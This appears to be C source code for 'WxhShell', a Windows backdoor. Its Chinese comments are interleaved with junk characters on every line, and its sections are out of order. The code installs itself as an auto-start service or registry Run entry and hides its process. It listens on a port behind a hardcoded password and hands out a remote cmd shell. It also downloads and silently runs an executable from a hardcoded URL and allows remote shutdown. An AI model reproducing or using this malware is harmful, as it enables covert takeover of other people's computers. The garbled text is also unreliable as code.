  // 关机 kQ'G+Kw~F  
  case 'd': { <m@U`RFm  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); NoKYHN^*w  
    if(Boot(SHUTDOWN)) ^' [|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JRodYXjE  
    else { X0!48fL*  
    closesocket(wsh); A@DIq/^xM  
    ExitThread(0); Wq,UxMz  
    } Mm/GI a  
    break; ||!k 3t#<  
    } ait/|a  
  // 获取shell ko, u  
  case 's': { pbgCcO~xm  
    CmdShell(wsh); O]~p)E  
    closesocket(wsh); }'@*Olj  
    ExitThread(0); ]h|GaHiE  
    break; 7 'f>  
  } z ,ledTl  
  // 退出 9]7^/g*!  
  case 'x': { eA+6-'qN  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L3kms6ch  
    CloseIt(wsh); F`3 8sq  
    break; 5k\61(*s  
    } yXEC@#?|  
  // 离开 *sw$OnVb  
  case 'q': { 3gGF?0o  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `[:f;2(@  
    closesocket(wsh); Ybok[5  
    WSACleanup(); zCco/]h  
    exit(1); 9^aMmN&6N2  
    break; RWoa'lnu  
        } `U;4O)`n  
  } 5q8bM.k\7N  
  } +q =/}|  
(^6SF>'  
  // 提示信息 :|fzGf  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K}wUM^  
} Uh9$e  
  } K(Cv9YQ  
gGZ$}vX  
  return; :Tjo+vw7$H  
} QU\|RX   
G_X'd  
// shell模块句柄 [1Vh3~>J6  
int CmdShell(SOCKET sock) #|gt(p]C  
{ RE*SdazY?  
STARTUPINFO si; (A ?e}M^}  
ZeroMemory(&si,sizeof(si)); 8-po|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ffSecoX  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &| ',o ?'F  
PROCESS_INFORMATION ProcessInfo; ;up89a-,9  
char cmdline[]="cmd"; ya|7hz{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >-]Y%O;}  
  return 0; P/0n) Q  
} /<M08ze  
nC2A&n&>  
// 自身启动模式 Y.=v!*p?}  
int StartFromService(void)  @4H*kA  
{ ` NcWy  
typedef struct -x7b6o>$  
{ ^ b}_[B  
  DWORD ExitStatus; L%N|8P[  
  DWORD PebBaseAddress; gwT"o  
  DWORD AffinityMask; Oi=kL{DG:s  
  DWORD BasePriority; &|55:Y87  
  ULONG UniqueProcessId; ~u-mEdu3C  
  ULONG InheritedFromUniqueProcessId; #=+d;RdlW  
}   PROCESS_BASIC_INFORMATION; *y F 9_\n  
NCd_h<}|6F  
PROCNTQSIP NtQueryInformationProcess; nKufVe  
HPm12&8,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >8HcCG  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `0Qzu\gRb  
2et7Vw  
  HANDLE             hProcess; .J'}qkz~  
  PROCESS_BASIC_INFORMATION pbi; leX&py  
XkOsnI8n  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); mq su8ti  
  if(NULL == hInst ) return 0; A2g +m  
/J8y[aa  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -AJe\ J 2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,;hI yT  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); jL>IX`,+6  
%fo+Y+t  
  if (!NtQueryInformationProcess) return 0; f9F@G&&Ugg  
q:+,'&<D  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -6(C ^X%  
  if(!hProcess) return 0; E9YR *P4$  
xP "7B9B  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -: dUD1  
nYLq%7}k  
  CloseHandle(hProcess); g%Sl+gWdJ  
d.3-@^P  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); V^As@P8,'(  
if(hProcess==NULL) return 0; oMM`7wJw  
}v"X.fa^  
HMODULE hMod; %!mJ nc%  
char procName[255]; 4%0eX]  
unsigned long cbNeeded; 'C)`j{CS  
yn)K1f^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /ZUKt  
q~48lxDU  
  CloseHandle(hProcess); 4#1[i|:M  
ryg1o=1v/  
if(strstr(procName,"services")) return 1; // 以服务启动 c,:xm=&  
LJt#c+]Li  
  return 0; // 注册表启动 I6,'o)l{_  
} ]Nz~4ebB  
<Wn={1Ts"  
// 主模块 ~Pq1@N>n  
int StartWxhshell(LPSTR lpCmdLine) (sHqzWh  
{ .DiH)  
  SOCKET wsl; 4C\>JGZvq  
BOOL val=TRUE; *NHBwXg+  
  int port=0; Ri=>evx  
  struct sockaddr_in door; /g BB  
3(0k!o0 "  
  if(wscfg.ws_autoins) Install(); .$pW?C 3e  
"7mY s)=  
port=atoi(lpCmdLine); ViIt 'WX  
h,o/(GNnW  
if(port<=0) port=wscfg.ws_port; ^1^k<  
kclClB:PS  
  WSADATA data; KCu@5`p  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ? FGzw  
^x-vOG lR  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |WqEJ*$,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {>PN}fk2QP  
  door.sin_family = AF_INET; Q\|72NWS  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); v10p]=HmO  
  door.sin_port = htons(port); G5a PjP  
q<Gn@xc'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7N9~nEU  
closesocket(wsl); +aR.t@D+"Y  
return 1; F9@,T8I  
} t\Pn67t  
`B'*ln'r5  
  if(listen(wsl,2) == INVALID_SOCKET) { __o`+^FS  
closesocket(wsl); ^L#\z7  
return 1; E^B*:w3  
} 4gbi?UAmX  
  Wxhshell(wsl); mC OJ1}  
  WSACleanup(); tl9=u-D13@  
^PA[fL"  
return 0; `7_=2C  
WwG +Xa  
} l,AK  
 t9T3e  
// 以NT服务方式启动 g-lF{Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2r;^OWwr?  
{ G%0G$3W"  
DWORD   status = 0; Xvu|ss  
  DWORD   specificError = 0xfffffff; :aHD'K  
hDa I@_86  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4bXAA9"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; DwM4/m  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; yem*g1  
  serviceStatus.dwWin32ExitCode     = 0; tk3%0XZH  
  serviceStatus.dwServiceSpecificExitCode = 0; ZK,}3b{  
  serviceStatus.dwCheckPoint       = 0; R{{d4=:S  
  serviceStatus.dwWaitHint       = 0; +W|MAJtg  
] =ar&1}J  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0=Jf93D5  
  if (hServiceStatusHandle==0) return; dv3+x\`9  
L-ans2?  
status = GetLastError(); ~@ a7RiE@  
  if (status!=NO_ERROR) V# Mw  
{ qT]Bl+h2  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; LL3RC6;e  
    serviceStatus.dwCheckPoint       = 0;  /;LteBoY  
    serviceStatus.dwWaitHint       = 0; ;-84cpfu  
    serviceStatus.dwWin32ExitCode     = status; pL`snVz  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,])@?TJb@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); - bL 7M5  
    return; ~:7AHK2  
  } +wd} '4)  
N!6{c~^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; x h[4d  
  serviceStatus.dwCheckPoint       = 0; 5wXe^G  
  serviceStatus.dwWaitHint       = 0; $4.mRS97g  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Dz, Fu:)  
} b:fy  
4f,D3e%T|  
// 处理NT服务事件,比如:启动、停止 X;_0"g  
VOID WINAPI NTServiceHandler(DWORD fdwControl) qmUq9bV  
{ g;en_~g3j  
switch(fdwControl) X'N 4a  
{ (?-5p;  
case SERVICE_CONTROL_STOP: \phG$4(7+  
  serviceStatus.dwWin32ExitCode = 0; ]*a)'k_@[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6suB!XF;  
  serviceStatus.dwCheckPoint   = 0; Db({k,P'Y  
  serviceStatus.dwWaitHint     = 0; e2w$":6>  
  { j9C=m"O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g#FqjE|mx  
  } ko!38BH`/  
  return; @t`| w.]ml  
case SERVICE_CONTROL_PAUSE: xXO& -v{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9m 56oT'U{  
  break; :0ND0A{K:  
case SERVICE_CONTROL_CONTINUE: Jl3l\I'  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; o*/\ oVOq  
  break; +Cx~4zEq  
case SERVICE_CONTROL_INTERROGATE: `9Ngax=_  
  break; (omdmT%D  
}; G~)jk+Qq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L.(T"`-i  
} GN{\ccej  
D+rDgrv  
// 标准应用程序主函数 9.e?<u*-z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) uR)itmc?  
{ P&| =  
XRs/gUT  
// 获取操作系统版本 xTD6?X'4  
OsIsNt=GetOsVer(); lsW.j#yE!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3@$h/xMJ  
aGp <%d  
  // 从命令行安装 /0SG  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]Ke|wRQD  
Cd#*Wp)s  
  // 下载执行文件 v Xio1hu  
if(wscfg.ws_downexe) { PGT!HdX#{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -j3 -H&  
  WinExec(wscfg.ws_filenam,SW_HIDE); e^~t52]  
} \, n'D  
<!X'- >i%q  
if(!OsIsNt) { F)e*w:D  
// 如果时win9x,隐藏进程并且设置为注册表启动 ThWZ>hyJ  
HideProc(); )2YU|  
StartWxhshell(lpCmdLine); #2yOqUO\  
} 0x^$q? \A  
else a}E8A DyC  
  if(StartFromService()) R$,`}@VqZ3  
  // 以服务方式启动 8f^URN<x  
  StartServiceCtrlDispatcher(DispatchTable); l0D.7>aj  
else Si]Z`_  
  // 普通方式启动 2l5@gDk5  
  StartWxhshell(lpCmdLine); rF~q"9  
$6!`  
return 0; m_rRe\  
} od^ha  
8GlH)J+kq  
8"8{Nf-"  
Qg 6m  
=========================================== D4#,9?us  
<S$y=>.9  
l'16B^  
W]Ph:O ^5c  
y_$^Po  
fE7WLV2I>  
" #i2q}/w5`C  
2DV{gF  
#include <stdio.h> 4QI vxH  
#include <string.h> |?8CV\D!  
#include <windows.h> G$@X>)2N8  
#include <winsock2.h> =?*V3e3{  
#include <winsvc.h> a}>GQu*y  
#include <urlmon.h> ;'o>6I7Ph  
_l8oB)  
#pragma comment (lib, "Ws2_32.lib") GtGToI  
#pragma comment (lib, "urlmon.lib") K4R jGSaF  
xD1wHp!+  
#define MAX_USER   100 // 最大客户端连接数 > %Y#(_~a  
#define BUF_SOCK   200 // sock buffer sg6cq_\  
#define KEY_BUFF   255 // 输入 buffer X4/r#<Da  
>LLzG  
#define REBOOT     0   // 重启 W\KZFrV@  
#define SHUTDOWN   1   // 关机 EvECA,!i  
"V:UQ<a\  
#define DEF_PORT   5000 // 监听端口 ?5GjH~  
aPb!-o{  
#define REG_LEN     16   // 注册表键长度 a9qZI  
#define SVC_LEN     80   // NT服务名长度 }Ql;%7  
)7`~U"r  
// 从dll定义API G: &Q)_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;zJ_apZ:{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); X|q0m3jt  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); fsmH];"GD  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); d*AV(g#B  
&WRoNc  
// wxhshell配置信息 m76]INq  
struct WSCFG { 2 rBF<z7  
  int ws_port;         // 监听端口 4OIN@n*4  
  char ws_passstr[REG_LEN]; // 口令 /kWWwy<  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3&*%>)  
  char ws_regname[REG_LEN]; // 注册表键名 1%:A9%O)t  
  char ws_svcname[REG_LEN]; // 服务名 *lTu-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?nn,RBS-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \C6m.%%={R  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @6tx5D?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no gI%n(eY  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" h7w<.zwu t  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \G"/Myi  
z>&D~0  
}; 97 g-*K  
L7b{H2 2  
// default Wxhshell configuration *w6N&  
struct WSCFG wscfg={DEF_PORT, ^49moC-  
    "xuhuanlingzhe", j)0R*_-B[  
    1, Jzj~uz  
    "Wxhshell", x?F{=\z/o  
    "Wxhshell", lu}[XN  
            "WxhShell Service", h=tY 5]8  
    "Wrsky Windows CmdShell Service", *~"`&rM(  
    "Please Input Your Password: ", ) jvkwC  
  1, tv{.iM|V c  
  "http://www.wrsky.com/wxhshell.exe", ][mc^eI0s|  
  "Wxhshell.exe" q8lK6p\:W  
    }; c%dy$mkqgK  
Rju8%FRO  
// 消息定义模块 ;0 *^98K  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; uj@<_|7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5zGj,y>u  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; t<7WM'2<y  
char *msg_ws_ext="\n\rExit."; *LVM}| f  
char *msg_ws_end="\n\rQuit."; KWUz]>Z  
char *msg_ws_boot="\n\rReboot..."; K6U>Qums  
char *msg_ws_poff="\n\rShutdown..."; m0,9yY::wj  
char *msg_ws_down="\n\rSave to "; ]4yvTP3[Rm  
Z^l!y5s/H  
char *msg_ws_err="\n\rErr!"; v3"xJN_,[p  
char *msg_ws_ok="\n\rOK!"; ("6W.i>  
f0s &9H  
char ExeFile[MAX_PATH]; rZv+K/6*M  
int nUser = 0; Kd)m"9Cc  
HANDLE handles[MAX_USER]; (`u!/  
int OsIsNt; %},gE[N!J  
&>{>k<z  
SERVICE_STATUS       serviceStatus; xNkY'4%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {p 0'Lc<3n  
\sd"iMEi  
// 函数声明 pxx(BE  
int Install(void); ;Y^RF?un  
int Uninstall(void); W wha?W>  
int DownloadFile(char *sURL, SOCKET wsh); JWL J<z  
int Boot(int flag); 5KR|p Fq  
void HideProc(void); y7OG[L/  
int GetOsVer(void); njMy&$6a##  
int Wxhshell(SOCKET wsl); .}N^AO=  
void TalkWithClient(void *cs); Yk Pt*?,P/  
int CmdShell(SOCKET sock); %ZyPK,("  
int StartFromService(void); J36@Pf]h  
int StartWxhshell(LPSTR lpCmdLine); H>f{3S-%  
HW72 6K*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2H[a Y%1T  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =bWq 3aP)P  
g{hA,-3  
// 数据结构和表定义 i(;-n_:, `  
SERVICE_TABLE_ENTRY DispatchTable[] = qk,y|7 p  
{ QV$dKjMS  
{wscfg.ws_svcname, NTServiceMain}, IGT_ 5te  
{NULL, NULL} 8$UZL  
}; /'6[*]IZP  
JK"uj%  
// 自我安装 MIF[u:&  
int Install(void) Xl6ZV,1=n7  
{ IQ=|Kj9h  
  char svExeFile[MAX_PATH]; a=.db&;vY  
  HKEY key; I%>]!X  
  strcpy(svExeFile,ExeFile); zl 0^EltiU  
dG>Wu o  
// 如果是win9x系统,修改注册表设为自启动 vC<kpf!  
if(!OsIsNt) { irb.F>(x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H0 n@kKr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1vK(^u[  
  RegCloseKey(key); ":#x\;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x ETVt q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "rDzrz  
  RegCloseKey(key); rI66frbj  
  return 0; GVc[p\h(  
    } V'f5-E0  
  } *5'6 E'  
} YZ:'8<  
else { < Gy!i/  
}:l%,DBw  
// 如果是NT以上系统,安装为系统服务 VfC[U)w*vm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); '`~(Fkj  
if (schSCManager!=0) xKLcd+hCZ  
{ ID).*@(I"  
  SC_HANDLE schService = CreateService +JAfHQm-  
  ( ^@LhUs>3  
  schSCManager, fRa-bqQ  
  wscfg.ws_svcname, ah"MzU)  
  wscfg.ws_svcdisp, nP{sCH 1  
  SERVICE_ALL_ACCESS, 0CVsDVA  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3G/ mB  
  SERVICE_AUTO_START, m57tO X  
  SERVICE_ERROR_NORMAL, (VXx G/E3  
  svExeFile, e5>5/l]jsg  
  NULL, i_'R"ob{S  
  NULL, k1Mxsd  
  NULL, ZJI1NCBZ  
  NULL, =.f +}y  
  NULL voej ~z+  
  ); OxHw1k  
  if (schService!=0) .";tnC!e  
  { vu'!-K=0  
  CloseServiceHandle(schService); q%kj[ZOY$]  
  CloseServiceHandle(schSCManager); X?v ^>mA  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); id#k!*$7  
  strcat(svExeFile,wscfg.ws_svcname); Z>w^j.(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Yr"!&\[oz  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); lgjoF_D  
  RegCloseKey(key); pW3)Y5/D  
  return 0; R!V5-0%  
    } qJFgbq4-  
  } .t^UK#@#4  
  CloseServiceHandle(schSCManager); w1"gl0ga$  
}  IB.'4B7  
} RqN_vk\  
y5AXL5  
return 1; H6PXx  
} uRB)g  
x,w`OMQ}c  
// 自我卸载 '[=yfh   
int Uninstall(void) 4Fr7jD,#k  
{ f?>-yMR|  
  HKEY key; ]2xx+P#Y  
Vr/` \441  
if(!OsIsNt) { .X LV:6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )S wG+k,  
  RegDeleteValue(key,wscfg.ws_regname); =ve*g&  
  RegCloseKey(key); GOZQ5m -  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %g]$Vfpy  
  RegDeleteValue(key,wscfg.ws_regname); m>abK@5na  
  RegCloseKey(key); \%-E"[!  
  return 0; a$xeiy9  
  } veX"CY`hn  
} dxkRk#mf:  
} Rekb?|{z  
else { f- k|w%R@  
20.-;jK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); j5,^9'  
if (schSCManager!=0) U=&^H!LVY  
{ XoKO2<3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5M<' A=  
  if (schService!=0) 8z."X$  
  { L= :d!UF  
  if(DeleteService(schService)!=0) { `FzYvd"N  
  CloseServiceHandle(schService); 7g A08M[O  
  CloseServiceHandle(schSCManager); (<bm4MPf  
  return 0; |b$>68:  
  } J0ZxhxX35  
  CloseServiceHandle(schService); LC,*H0  
  } Yo~LckFF  
  CloseServiceHandle(schSCManager); fr}1_0DDz  
} 0kNe?Xi  
} (B _7\}v|_  
E[|s>Xv~  
return 1; V-KL%  
} ,67"C2Y  
}J ei$0x  
// 从指定url下载文件 &=F-moDD  
int DownloadFile(char *sURL, SOCKET wsh) AW,v  
{ *#&k+{a^2  
  HRESULT hr; > 63)z I  
char seps[]= "/"; w(76H^e  
char *token; a|DsHZ^6^  
char *file; \H Wcd|  
char myURL[MAX_PATH]; n S_Ta  
char myFILE[MAX_PATH]; }xAie(  
kz ZDtI)  
strcpy(myURL,sURL); lLb:f6N  
  token=strtok(myURL,seps); 1R0ffP]  
  while(token!=NULL) ;{<aA 5  
  { )E'Fke  
    file=token; E,{GU  
  token=strtok(NULL,seps);  f~w>v  
  } ,:D=gQ@`  
J|V K P7  
GetCurrentDirectory(MAX_PATH,myFILE); )v[XmJ>H~o  
strcat(myFILE, "\\"); %'Zc2h&z  
strcat(myFILE, file); e]lJqC  
  send(wsh,myFILE,strlen(myFILE),0); ?b||Cr  
send(wsh,"...",3,0); xK(IS:HJ*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); sX+`wc  
  if(hr==S_OK) n[!;yO  
return 0; zVSx$6eiU  
else ^>C 11v  
return 1; +'%@!  
RFw(]o,9cR  
} 3Jk[/ .h  
lC0~c=?J  
// 系统电源模块 9B /s  
int Boot(int flag) QV7,G9  
{ ]kx-,M(  
  HANDLE hToken; ?w-1:NW jt  
  TOKEN_PRIVILEGES tkp; }91*4@B7  
v? L  
  if(OsIsNt) { m6^ 5S  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )zU:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4'',6KJ@  
    tkp.PrivilegeCount = 1; Hkdf$$\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ( #* "c  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ._?V%/  
if(flag==REBOOT) { 2-~|Z=eGW  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Gqb])gXpl  
  return 0; MaO"#{i  
} ;f:gX`"\  
else { 7h%4]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "+)K |9T#  
  return 0; [E7MsX  
} .wmnnvtl,  
  } >H>gH2qp  
  else { (9 sIA*,}  
if(flag==REBOOT) { uRE*%d>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) t6+YXjXK  
  return 0; Q $~n/  
} _T5)n=|  
else { /`[!_4i  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) v!9i"@<!  
  return 0; +`B'r '  
} mk!Dozb/  
} .Pe9_ZH$W  
/)EY2Y'  
return 1; ](#&.q%5!  
} \=;uu_v$  
I9Eu',  
// win9x进程隐藏模块 (&[[46  
void HideProc(void) Dzl;-]S  
{  z [C3  
i%-Ld Ka}"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); m} 3gZu]  
  if ( hKernel != NULL )  rkB'Hf  
  { ujr(K=E  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @%hCAm  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); yHeEobvb  
    FreeLibrary(hKernel); EHn"n"Y  
  } Wh( |+rJ?Z  
t\4[``t  
return; ]ikomCg   
} [8XLK4e  
x;LzG t:w  
// 获取操作系统版本 g5Z#xszj+  
int GetOsVer(void) ;`dh fcU  
{ QAPu<rdJP  
  OSVERSIONINFO winfo; ~rD={&0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); eq[Et +  
  GetVersionEx(&winfo); +Qxu$#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) I.'b'-^  
  return 1; l@JSK ;  
  else 5fJ[}~  
  return 0; F_;DN: {  
} _ oFs #kW  
(`BSVxJH  
// 客户端句柄模块 p(F" /  
int Wxhshell(SOCKET wsl) +7V{ABfGl  
{ k]A8% z  
  SOCKET wsh; ^|!I +  
  struct sockaddr_in client; &HW1mNF9  
  DWORD myID; MJ`3ta  
-r7]S  
  while(nUser<MAX_USER) n5-)/R[z  
{ \2 y5_;O  
  int nSize=sizeof(client); "=. t 36#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +pm[f["C.  
  if(wsh==INVALID_SOCKET) return 1; <A5]]{9 +  
H*^\h?s  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =sJ _yq0#R  
if(handles[nUser]==0) Z?P~z07  
  closesocket(wsh); Ny- [9S-<  
else "syh=BC v  
  nUser++; *l+OlQI0+  
  } )d\ j I  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &,\=3 '  
wxg^Bq)D*R  
  return 0; g>rp@M  
} _@mRb^  
0MMEo~dih  
// 关闭 socket ^N}Wnk7ks'  
void CloseIt(SOCKET wsh) %@a8P  
{ O,bkQY$v  
closesocket(wsh); /M;#_+VK<  
nUser--; $ ,SF@BhO  
ExitThread(0); g]c[O*NTL  
} :A %^^F%  
).` S/F  
// 客户端请求句柄 ,;?S\V  
void TalkWithClient(void *cs) ml0.$z  
{ j"^ +oxH  
T{qTj6I  
  SOCKET wsh=(SOCKET)cs; 7!,YNy%  
  char pwd[SVC_LEN]; .:p2Tbo  
  char cmd[KEY_BUFF]; '{ I_\~*  
char chr[1]; E:zF/$tG  
int i,j; SK1!thQy  
9)xUA;Qw?z  
  while (nUser < MAX_USER) { \^(0B8|w  
iv`O /T  
if(wscfg.ws_passstr) { uw\2qU3gk  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  ~ ~uAc_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ] Z8Vj7~  
  //ZeroMemory(pwd,KEY_BUFF); alh >"9~!  
      i=0; QB.J,o*XD4  
  while(i<SVC_LEN) { 4'$g(+z  
g  %K>  
  // 设置超时 ,B4VT 96*  
  fd_set FdRead; (b?{xf'G  
  struct timeval TimeOut; \s3]_1F;t  
  FD_ZERO(&FdRead); +^*iZ6{+7  
  FD_SET(wsh,&FdRead); j!7`]  
  TimeOut.tv_sec=8; xq6cKtSv  
  TimeOut.tv_usec=0; K{n{KB&_&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !fBF|*/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Kvsh  
9/+Nj/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m}>F<;hQ  
  pwd=chr[0]; vR0 ];{  
  if(chr[0]==0xd || chr[0]==0xa) { H|cNH=  
  pwd=0; + OV')oE  
  break;  h:lt<y  
  } $/6;9d^  
  i++; zlR?,h-[3  
    } .2J L$"  
u77E! z4Uz  
  // 如果是非法用户,关闭 socket BBcV9CGU  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \{Q?^E  
} ~Lc066bLeq  
6} FO[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); eZ"1gYqy  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r`c_e)STO  
uEc<}pV  
while(1) { JCAq8=zM  
0]HYP;E"U  
  ZeroMemory(cmd,KEY_BUFF); 52upoU>}2  
;n|^1S<[  
      // 自动支持客户端 telnet标准   '!f5?O+E  
  j=0; r>bJ%M}  
  while(j<KEY_BUFF) { hHqh{:q{v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E( us'9c   
  cmd[j]=chr[0]; ie-vqLc  
  if(chr[0]==0xa || chr[0]==0xd) { ^5r9 5  
  cmd[j]=0; qRbf2;  
  break; RpLE 02U  
  } \M'-O YH_[  
  j++; ,vW:}&U  
    } {BHI1Uw  
0ZQ'_g|%  
  // 下载文件 DWdW,xG  
  if(strstr(cmd,"http://")) { Wu)>U  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); G\NPV'  
  if(DownloadFile(cmd,wsh)) A)ipFB 6K  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'l,V*5L  
  else %X9r_Hx  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Pz$R(TV  
  } V`@>MOw^d  
  else {  <T[E=#  
%/updw#{B  
